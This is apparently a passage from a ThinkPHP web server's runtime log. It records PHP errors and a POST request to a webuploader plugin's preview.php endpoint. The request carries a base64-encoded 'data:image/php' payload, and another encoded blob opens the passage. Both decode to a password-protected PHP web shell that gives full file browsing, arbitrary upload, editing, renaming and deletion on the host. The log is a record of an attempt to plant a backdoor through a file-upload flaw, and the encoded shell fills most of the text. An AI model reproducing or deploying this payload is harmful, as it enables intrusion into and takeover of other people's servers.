SIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:00+08:00 ] 119.42.146.234 POST 59.110.137.245/source/plugin/iscwo_kaifu/webuploader/0.1.5/server/preview.php [运行时间:0.002676s] [吞吐率:373.69req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAg